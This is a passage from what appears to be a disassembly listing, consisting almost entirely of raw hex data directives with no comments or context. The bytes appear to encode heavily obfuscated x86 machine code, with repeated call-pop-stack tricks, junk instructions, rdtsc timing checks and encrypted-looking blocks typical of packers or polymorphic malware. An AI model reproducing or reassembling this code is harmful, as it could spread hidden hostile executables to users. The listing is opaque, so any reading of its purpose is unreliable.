0C87A5F0Ch, 5F30378Bh, 0EE8h dd 0D1555E00h, 0B79A30E6h, 74153276h, 8BA3D8ACh, 1E2F71BDh dd 858B5F06h, 61E1A11h, 20DD9D8Bh, 8533061Eh, 61E14BDh dd 2A58529h, 0E950061Eh, 13h, 0B9BE4840h, 0A558E777h, 5E098BEAh dd 86C438E5h, 890A6EEAh, 0D88B2404h, 6A006Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0E89BC6C3h dd 4, 1F03FFh, 8B50F98Ah, 24448BF9h, 52008B04h, 5F616057h dd 2444895Fh, 0BE804h, 1ADE0000h, 0F242CBE6h, 7B31DEDFh dd 860F60B4h, 0 aAXj db 'a[Xj',0 db 50h, 0E8h, 3 dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 33D0C350h, 7478B4A9h, 95FFF98Bh, 61E1441h, 0FE8h, 3609B300h dd 0F3F6F8E4h, 0E2ECA5A2h, 534FE57Fh, 5FDABF0Fh, 0B0278589h dd 8B660621h, 1C5E9DEh, 9D8B0000h, 61E0C79h, 0B01F858Bh dd 6A0621h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 7763D9C3h, 1800C761h, 8B000000h, 21B023B5h dd 6810F06h, 89000000h, 1E09559Dh, 0C9858B06h, 6A061E1Ch dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 0B778C350h, 7E8h, 0A6513700h, 0E1D25029h dd 0E85FA8B7h, 0Ch, 9BC47B21h, 4782A1EAh, 36C1EA3Bh, 143DBD8Bh dd 895F061Eh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 3EE8EB19h, 66915C0Ah, 8BD88A02h dd 1E1A1185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 60A5AE26h, 8937BD94h, 1E1CA985h dd 0F8B70F06h, 1EE9BD29h, 4689061Eh, 8D9D8B04h, 96061E0Eh dd 51575250h, 310F5F5Bh, 8B50585Ah, 8A6096F8h, 33B866D9h dd 0B5FF61B8h, 621B01Fh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 57C35141h, 5368C577h, 666CA8D0h, 8101C1BFh dd 0D3AC2434h, 858D6CB7h, 621B027h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 4CC35545h, 8B7D9B0Dh, 0A603CDCAh dd 6880Fh, 9D8B0000h, 61E0469h, 157DBD8Bh, 0BF50061Eh dd 623979A5h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 8FF6C355h, 0F259773h dd 860FDABFh, 6, 193DBD89h, 95FF061Eh, 61E1441h, 0F78B6660h dd 2DAD9529h, 6161061Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 0AC35343h, 0C12E0BF0h, 8E9AA192h, 7DF7D781h dd 85C76F3Fh, 61E3169h, 3, 418D8960h, 0F061E32h, 281h dd 61616000h, 0B027BD83h, 0F000621h, 2D84h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 5BCD9275h, 24E9h, 0DAB70F00h, 25D9BD8Bh, 3050061Eh dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 12E8C0h, 9B250000h, 0E7C19DD5h, 3994BC32h, 8F4104Ch dd 0E8D260Bh, 0EE8h, 3F26DD00h, 5C36B1E0h, 84B2F11Dh, 8BDC8F19h dd 1E32C19Dh, 665B5B06h, 7D9E781h, 3169BD83h, 0F03061Eh dd 47385h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0CA961A2Eh, 0ECB80B6Ah, 0FE987h dd 0ACA60000h, 0E3C36A72h, 0FA393AD7h, 0B3D41DD1h, 27BD83A3h dd 621B0h, 42E840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 8EDCDC3h, 0EF80660Ah dd 0A23CBB25h, 0B5FF00B7h, 621B027h, 22319D2Bh, 0F98B061Eh dd 155595FFh, 0BB66061Eh, 0B58B1BE7h, 621B01Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0AEC35646h, 0BE8D2E9h dd 0F8000000h, 1B73D3B8h, 5B6F6265h, 8166860Eh, 5F9AF0CFh dd 0FE9h, 5C22E00h, 3A4880Eh, 87DE3D2Fh, 4E7A5DACh, 106C7h dd 6A0001h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 0E44C6DC3h, 0BB507BAEh, 1B6AEDE1h, 0F243489h dd 81h, 0AE800h, 7FC10000h, 0FD977B4Ah, 439874E1h, 27B5FF5Bh dd 30621B0h, 1E1BC19Dh, 3D95FF06h, 6A061E2Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 4263C357h, 357FB21Ah, 8529600Bh, 61E207Dh, 0E55958Bh dd 0F61061Eh, 88Eh, 95895200h, 61E0075h, 1BB58B5Fh, 0F0621B0h dd 1A8Ch, 0EE800h, 410B0000h, 0D366D0B4h, 0E53CF2E1h, 0CFE33B2Eh dd 8199D8Bh, 8B5F061Eh, 1E2A2185h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 95C45D7Eh dd 0C48689h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 7F594DC3h, 9BD8992h, 8B061E05h dd 1E237595h, 12E906h, 0F8760000h, 1150FE88h, 548BE7C0h dd 6ECAB287h, 6DED502Ah, 13E9h, 0CD4A8100h, 33359783h dd 0C6E63F7Ch, 0C82F28BCh, 0ACA07C26h, 6A04C283h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 0E579C350h, 89083899h, 6A2050h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 442136C3h, 0BD8BE5AFh dd 61E050Dh, 0C4A4858Dh, 6A0621h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 9D8BF3C3h, 61E151Dh dd 0B88689h, 5F530000h, 6A006Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 77FC6AC3h, 999509D0h dd 0FF061E2Bh, 21B027B5h, 6ABF6606h, 0F995FFE0h, 6A061E32h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 0DB3EC355h, 0B531E81Ch, 61E20E5h, 89D98B50h dd 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 1D7A82C3h, 653A7B4Fh, 0CDCF8166h, 71B5311Ch dd 0FF061E22h, 21B027B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0FFDA8BBCh dd 1E304995h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 351DF811h, 73485BA1h, 0B9BD83FEh dd 61E0Dh, 37840Fh, 880F0000h, 0 dd 6E896h, 0A3C10000h, 11C8274h, 7E8505Bh, 8B000000h, 84CA50F1h dd 52500971h, 3DA432BFh, 0F310F64h, 83h, 5B585A00h, 98BB6696h dd 27B5FFF0h, 0BF0621B0h, 1CF444B8h, 164D95FFh, 8D89061Eh dd 61E079Dh, 0B027B5FFh, 0BD890621h, 61E1D95h, 95FFDF8Bh dd 61E09DDh, 5077E781h, 0BD831A94h, 61E2BD9h, 64840F02h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 8B86C350h, 48BB7C5h, 2C21B589h dd 858B061Eh, 61E0E2Dh, 1485BD89h, 0BD89061Eh, 61E308Dh dd 6A0000C6h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 3FC355h, 64EE9E0Bh, 99BD8B06h dd 0C7061E26h, 1E1F8185h, 6, 7E800h, 0BC530000h, 0EBCA7127h dd 6EB360C3h, 8E0Fh, 5B610000h, 0FFF27BE9h, 3D98BFFh, 1E1915BDh dd 81C18B06h, 2F53CCE3h, 0DD858D79h, 0E8061E19h, 0Eh, 3C4A769Fh dd 752B111Dh, 0A8B7ECC8h, 11E929D2h, 0C5000000h, 87833D92h dd 865DE0FBh, 0ED856891h, 4CDA7E90h, 6E9905Fh, 0C9000000h dd 0EB59D17Eh, 525050A8h, 5E9h, 3E94CB00h, 310F151Eh, 5BDA8B50h dd 6A90585Ah, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 6C3DC351h, 0C413308h, 81668411h dd 6A8C78CFh, 14E800h, 24230000h, 0E2B9E30Dh, 0D5EA078Ah dd 0AABE1BD6h, 3708501Fh, 0EE8F107h, 0BD000000h, 9C1CCFCAh dd 22B8B18Ah, 511591DDh, 0DAB70FF4h, 6A5F5Bh, 8B0Fh, 858D0000h dd 622B172h, 22599D8Bh, 0C083061Eh, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0D9CB338Ah dd 0BC5B35CFh, 79BD036Fh, 66061E14h, 90F84EBBh, 0B72FBF66h dd 90DE8A50h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 0ECBCEAC3h, 6A006Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 3D16A5C3h dd 3F65967Fh, 8B53F1E9h, 1E0F199Dh, 12E95B06h, 68000000h dd 8DE684C1h, 0AFE59F4Eh, 0EE229B7Ch, 0FC7EDAC0h, 0ED95FF8Bh dd 6A061E21h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 0D7EEC355h, 9530E71Fh, 0C259D8Bh dd 9D8B061Eh, 61E19A9h, 94B68D8Dh, 6A0621h, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 9DE654C3h dd 1F61BD8Bh, 0D1FF061Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 61C35747h, 12E960h, 355F0000h, 0E6AB166Bh dd 3A6BB97Ah, 197E4175h, 5004EDB1h, 11840F61h, 0E9000000h dd 0Ch, 4E14DDh, 30496A40h, 4F4A3BE7h, 272DBD83h, 0F01061Eh dd 0D585h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 7E952ECh, 46000000h, 70A98751h, 0B70FD82Eh dd 6A026AD8h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 8E07C357h, 2B2F4BE8h, 1E0E819Dh dd 0EE99006h, 9F000000h, 5BAB71B6h, 0BFF311Ah, 141B547Fh dd 5250503Ch, 0DE9h, 6934E900h, 1BACC55Eh, 0E4E7D30Ch dd 310FCA9Bh, 5AF88B66h, 6A9058h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 12A3F7C3h, 0EFFCC0BBh dd 0F5BD8B07h, 0FF061E32h, 1E32F995h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0B3CEBFF6h, 25E9FC08h, 0E800000Dh, 0 dd 7CED815Dh, 0F0622B1h, 688h, 0A19D2300h, 66061E0Dh, 858DFE8Bh dd 6218DFEh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 69C35141h, 6CCF807Bh, 11E890h, 2D3D0000h, 6E854B6Eh dd 5BA3DB3h, 0F37606F6h, 51E29622h, 90505B5Bh, 35FF64h dd 0E9000000h, 12h, 8610AE6Bh, 38FCC5AEh, 74A7A215h, 577068B6h dd 8964FF73h, 25h, 0DE900h, 5DA30000h, 0F9F49F97h, 7C14DBB6h dd 0FF3EA10Eh, 1E1D9185h, 559D8B06h, 81061E04h, 0CBA5E1E3h dd 6AFF6A5Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 7DE9C351h, 0DBD8B56h, 5F061E0Eh dd 415B5FFh, 0BF66061Eh, 95FF350Bh, 61E1655h, 106E9h, 81BD8B00h dd 0B0061E17h, 0DBD8B00h, 0E6061E2Bh, 77CF8170h, 0E44BC47Fh dd 0F19D8B71h, 89061E19h, 1E09C1BDh, 0F613C06h, 0DA83h dd 0C8B60F00h, 0CE8h, 0D9FA7100h, 67F2BAB8h, 0D9117BBCh dd 0D99D03E5h, 5B061E22h, 6BAh, 9FBB6600h, 8BC18BC1h, 1E08919Dh dd 4E8C106h, 0D3B88EBFh, 0E2F7667Dh, 2BDEBF0Fh, 0BCF781C8h dd 8B45F8B1h, 8DBD8BD1h, 60061E15h, 0C25B529h, 6653061Eh dd 0E656C381h, 7CE9615Eh, 66000000h, 858BDA8Bh, 8, 83A5E780h dd 0C08307C0h, 3BF88B00h, 29830FD0h, 57000000h, 7F1BD89h dd 0E95F061Eh, 53h, 0E9DAB70Fh, 14h, 0C57325F5h, 0BEFB35EFh dd 3C43DC0Ah, 0BFD85844h, 6F906470h, 0FFFF8D8Bh, 0C381FFFFh dd 3EFEA57Ah, 0F01E183h, 2284h, 0C7816600h, 0A58343DBh dd 0FFFFFFFFh, 8DBD8BFEh, 89061E0Dh, 895h, 0EF816600h dd 0E939B2h, 8D000000h, 223000B5h, 0F2C8BF06h, 6A1120h dd 18C99D8Bh, 95FF061Eh, 61E26C1h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 0BEC35040h, 96847119h, 89B98E8Ch dd 6A00000Fh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 0B321C356h, 89B069FEh, 0E183C257h dd 51B589FCh, 0E8061E27h, 0Fh, 6316F3AAh, 0C5891E8Ah, 28C46ADDh dd 8B437267h, 1E18BDBDh, 0B8FC5B06h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 93C35646h dd 8D0FBE7Bh, 0 dd 0BAh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 0C233ADE7h, 0D003E8D1h, 7504E983h dd 8E9F4h, 724C0000h, 69122ECAh, 850115BCh, 61E0D01h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 3AC35242h, 4D1EA6ACh dd 465BD8Bh, 880D061Eh, 66000000h, 636EDB81h, 2375958Bh dd 6A061Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 22BB10C3h, 5CE6B5CEh, 6860FADh, 2B000000h dd 1E1D2D9Dh, 4D8D8B06h, 89061E32h, 1E07F985h, 7464BF06h dd 8B5038ECh, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 33FFBF0Fh, 1E197D9Dh, 59BD8306h, 61E02h, 69840Fh, 0BD890000h dd 61E0F05h, 0DBC38166h, 0B8BDh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 23CB8DC3h dd 8D837FD0h, 1E4CB88Dh, 0C7816606h, 0E1FFB9D1h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0B1C35242h, 13A9F8CDh dd 0C7D3ECA4h, 18C78010h, 83FBBF0Fh, 1E3169BDh, 840F0006h dd 491h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 9CC35242h, 77DB67E7h, 83C32F69h, 1E3169BDh, 840F0106h dd 47Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 0CFC35545h, 52528905h, 89DD8A8Dh, 1E0E29B5h, 69BD8306h dd 3061E31h, 410860Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 0F8D7EC3h, 785h, 38BF5600h dd 5B7375E6h, 6E9h, 814A2D00h, 6048E5EEh, 3424BF66h, 0E8D98C66h dd 12h, 69DDEA9Fh, 96D52A95h, 0D87BE5B3h, 0E0E4DE88h, 8B668FECh dd 0D3815FDEh, 13381E34h, 6A04E180h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 51D1C355h dd 8BD9EB78h, 1E1E11BDh, 0FC90A06h, 18184h, 19958900h dd 8B061E18h, 1E1A1185h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 90AC6CC1h, 802A9947h dd 8166A3C7h, 339D4DC7h, 1E14BD85h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 9D8BFCF0h dd 61E0D15h, 66525050h, 0F0335BBh, 61606031h, 310F5250h dd 5A61585Ah, 24048958h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 0CC35646h, 315256C3h, 1E162D9Dh, 6A5F5B06h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 0BF0FDDA7h, 7D8D89F9h, 0E8061E1Bh, 4, 1F03FFh dd 13E8h, 9BAB3100h, 8DB13963h, 0C23803DFh, 465E381Fh dd 8091EEB5h, 5BD88B66h, 0EE950h, 6A190000h, 0EFA0B5B8h dd 0E74FB926h, 1AFCDF20h, 424448Bh, 8BADB3h, 3FAFBF66h dd 4244489h, 0B58DE8Bh, 1E21AD9Dh, 4195FF06h, 8B061E14h dd 1E19A1BDh, 27858906h, 0F0621B0h, 1884h, 13E900h, 0C6100000h dd 0AF94DAB6h, 68F275F5h, 63CF57ECh, 9C0ED14Dh, 191E9DCh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0FC9B1C3h, 0B84h, 5880F00h, 66000000h, 14B1DB81h dd 21E9BD29h, 858B061Eh, 621B01Fh, 33A1BD33h, 0C7061Eh dd 18h, 265B529h, 0B58B061Eh, 621B023h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Bh, 13C35040h, 0F7C896E8h dd 29DF81FDh, 1E015195h, 0C9858B06h, 8B061E1Ch, 1E2DEDBDh dd 6A068906h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 8B37C352h, 1E1A1185h, 958D0906h dd 80061E1Fh, 4689FCF3h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 59950170h, 50061E0Eh dd 343ABB66h, 0B243489h, 1E0C41BDh, 1FB5FF06h, 560621B0h dd 685BFB8Bh, 5B8FACB0h, 3481DA8Bh, 90AF4F24h, 53006A5Bh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 6510E36Eh, 0D7BAD381h, 858D5D44h, 621B027h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 3DC35141h, 0A1BF66BDh dd 50024D97h, 89FE8B66h, 6A2404h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 144C7DC3h, 0BD8B5CBFh dd 61E0C65h, 0B5295760h, 61E1D71h, 55958B5Fh, 61061E22h dd 144195FFh, 61F8061Eh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 87C35040h, 0E381665Bh, 0DCBB94CBh, 0C76E5EA8h dd 1E316985h, 306h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 0E47AD3F1h, 0F421FCCh dd 68Bh, 0E5BD0900h, 83061E25h, 21B027BDh, 840F0006h, 36h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 6CC35646h dd 0EB45899Eh, 79BF6654h, 65BD8BF7h, 0E9061E29h, 21h, 64D9D8Bh dd 3050061Eh, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 9A51E3E5h, 9E9991Eh, 33000000h, 0BD73A3Dh dd 93237C17h, 0C710F4BBh, 0C6D38175h, 141D9FAh, 1E051D95h dd 69BD8306h, 3061E31h, 3F1850Fh, 83F80000h, 21B027BDh dd 840F0006h, 3E3h, 32CF8050h, 27B5FF5Bh, 0FF0621B0h, 1E155595h dd 1BB58B06h, 0BF0621B0h, 7F6D8361h, 106C7h, 0BD8B0001h dd 61E1A95h, 6A965096h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 0F5AC351h, 0B5FFDEB7h dd 621B027h, 2C99BD8Bh, 95FF061Eh, 61E2B3Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0C3C35545h, 0DD21C14Fh dd 2622632Eh, 19DBD31h, 0B58B061Eh, 621B01Bh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 1DC35040h, 8BD88BBEh dd 1E2A2185h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 4B44CDC5h, 2ED4E2EBh, 8B3A96BBh dd 12E95252h, 35000000h, 10568921h, 151AB71Eh, 759850Ch dd 16F884B3h, 86895F8Ah, 0C4h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 0B7C35343h, 0E3B8A8BDh, 0D30243FAh dd 12E91Dh, 0F81D0000h, 32325599h, 60183D19h, 78CACCC1h dd 0C05FB2BAh, 2375958Bh, 6A061Eh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 1CBE35C3h, 0DB6C567Dh dd 0DE8h, 0D6278B00h, 0C6ED0B85h, 7272A449h, 0B589AAE0h dd 61E04EDh, 4C2835Fh, 1A058D89h, 5089061Eh, 55006A20h dd 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 759D89F8h, 8D061E0Dh, 21C4A485h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0BD89094Eh dd 61E2BE5h, 0E3617BBFh, 0B886896Ch, 66000000h, 6A99B5BFh dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 0C3D0F7A5h, 0BC8DBC41h, 0B027B5FFh, 0BB0621h dd 0FF5BCA00h, 1E32F995h, 0F505606h, 88h, 965B5B00h, 28B0Fh dd 0FA8B0000h, 52506050h, 310FF38Bh, 0CE9h, 0F7089000h dd 84C168BDh, 9F4E8DE6h, 0BF585AE5h, 756F18Dh, 6A9661h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 73D81CC3h, 493BFC8Eh, 8BEC2307h, 27B5FFF9h, 0BF0621B0h dd 3DC78937h, 304995FFh, 8D89061Eh, 61E331Dh, 0DB9BD83h dd 0F00061Eh, 4284h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 8B8A8BBDh, 0DA8A50DFh dd 6A243489h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 0FFFEC350h, 21B027B5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0BBE9B968h, 8A576C55h, 95FF5FFAh, 61E164Dh, 0C7A7DB81h dd 0B5FF5519h, 621B027h, 13E8h, 3BD6B500h, 4F89588Bh, 7CF54437h dd 5F2A1719h, 407AA748h, 1FDBD8Bh, 0FF5F061Eh, 1E09DD95h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 0B94197Bh, 1E09A59Dh, 0D9BD8306h, 2061E2Bh dd 46840Fh, 800F0000h, 0 dd 9AD62CBFh, 2D858B33h, 6A061E0Eh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 0C02C350h dd 8B325308h, 1E29299Dh, 0C606h, 14F99589h, 8529061Eh dd 61E2EA5h, 1F8185C7h, 61Eh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 90B7E4C3h dd 0F6C7C938h, 0A022BB50h, 81664376h, 0E92816D7h, 0FFFFF3ADh dd 4C18589h, 0C18B061Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 66C35242h, 0BD313607h, 61E04D9h, 19DD858Dh dd 6A061Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 42C0C6C3h, 8BFBB70Fh, 8D0F90F8h, 3, 50FA8B66h dd 6A0FA1BBh, 6AF89066h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 2BD65F18h, 1E05C5BDh dd 0C19D8906h, 6A061E0Dh, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0BB66785Ch dd 858DB01Ch, 622C0B2h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 0B9C35242h, 41753A6Bh, 0EDB1197Eh, 1AC99D33h dd 0C083061Eh, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 88D508Ah, 0D43BB9AAh dd 0AE8h, 68701300h, 2B2AAB7Ah, 8BAA7334h, 1E07719Dh, 0BF505F06h dd 41911EE6h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 0F9D4C355h, 84AE97D6h dd 0BF0FD615h, 0F006ADFh, 0BD29FFBFh, 61E04B9h, 0EE9006Ah dd 5000000h, 0FA68F83h, 2944BB72h, 0A6357056h, 0ED95FFF5h dd 8B061E21h, 1E1D699Dh, 0B68D8D06h, 89062194h, 1E30219Dh dd 0BBB06006h, 11E9h, 52867C00h, 5D5C7659h, 0F4FE446Ah dd 0BCD83F8Eh, 0FF6146FAh, 51B589D1h, 83061E00h, 1E272DBDh dd 850F0106h, 8Ah, 840F026Ah, 0Ch, 6840Fh, 0F7810000h dd 4B551957h, 0FE85190h, 34000000h, 0CFF1CE0h, 9B83B1F7h dd 5F8AAA5Bh, 52505368h, 585A310Fh, 8B505F5Fh, 6A90FEh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 93401FC3h, 14B59D89h, 0F60061Eh, 0BD89C0B7h, 61E0A1Dh dd 0F995FF61h, 6A061E32h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 0D2BC355h, 0A6E96F10h dd 0E800000Dh, 0 dd 0BCED815Dh, 6A0622C0h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 0C6BFC352h, 4AAE858Bh dd 1BD0344h, 8D061E2Bh, 218DFE85h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 27A6F74Bh dd 89FB7DCBh, 1E192195h, 52509006h, 0F98A5250h, 0BE8310Fh dd 0CD000000h, 1ABB68F7h, 0B0A21491h, 5A5B8E48h, 50310F58h dd 0DEC8BF52h, 310F5261h, 585A5F51h, 6050585Ah, 0EE8h dd 70B74400h, 745CFFECh, 0F145EF55h, 50BD6BCAh, 5A310F52h dd 52505B58h, 1CF3B966h, 585A310Fh, 6A9061h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 7C7BB9C3h dd 53277EA7h, 0FF64FD83h, 35h, 0DBB70F00h, 258964h, 8B000000h dd 9185FFDFh, 6A061E1Dh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 3700C350h, 0BF977D0Fh dd 8E0F2E79h, 0Eh, 49BD8960h, 9061E19h, 1E29898Dh, 0FF6A6106h dd 381B589h, 9531061Eh, 61E21F9h, 13E5B5FFh, 6A061Eh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 0BBB699C3h, 85895158h, 61E1919h, 5595FF5Fh, 0E9061E16h dd 10Ah, 0E75FBB66h, 0B0FA8Bh, 7E19501h, 2352061Eh, 1E339D9Dh dd 70E65F06h, 11E9h, 0ECBB9A00h, 0A5FF4B98h, 0CC630027h dd 7EE667CCh, 71E49150h, 3CFBBF0Fh, 0CF830F61h, 89000000h dd 1E33598Dh, 0C8B60F06h, 743EBF57h, 0BA5F7B33h, 6, 8C6195BBh dd 0C1C18B29h, 0EF8004E8h, 0E2F766DCh, 2CF58589h, 0BD8B061Eh dd 61E0279h, 0BD8BC82Bh, 61E15EDh, 0BF66D18Bh, 8BE99B83h dd 66000000h, 8B5EC2BFh, 185h, 7C08300h, 0C083FE8Bh, 0FD03B00h dd 0E83h, 9FBF6600h, 68E9E3h, 81660000h, 8BFFE4D3h, 0FFFFFF8Dh dd 719D01FFh, 83061E02h, 840F01E1h, 4Eh, 6830Fh, 9D010000h dd 61E2E8Dh, 0FFFFA583h, 66FEFFFFh, 60E8D8BBh, 0CF98589h dd 13E8061Eh, 1A000000h, 0AB8FBE26h, 15CD7CA9h, 0A058FC65h dd 7163D328h, 8D8B4F2Eh, 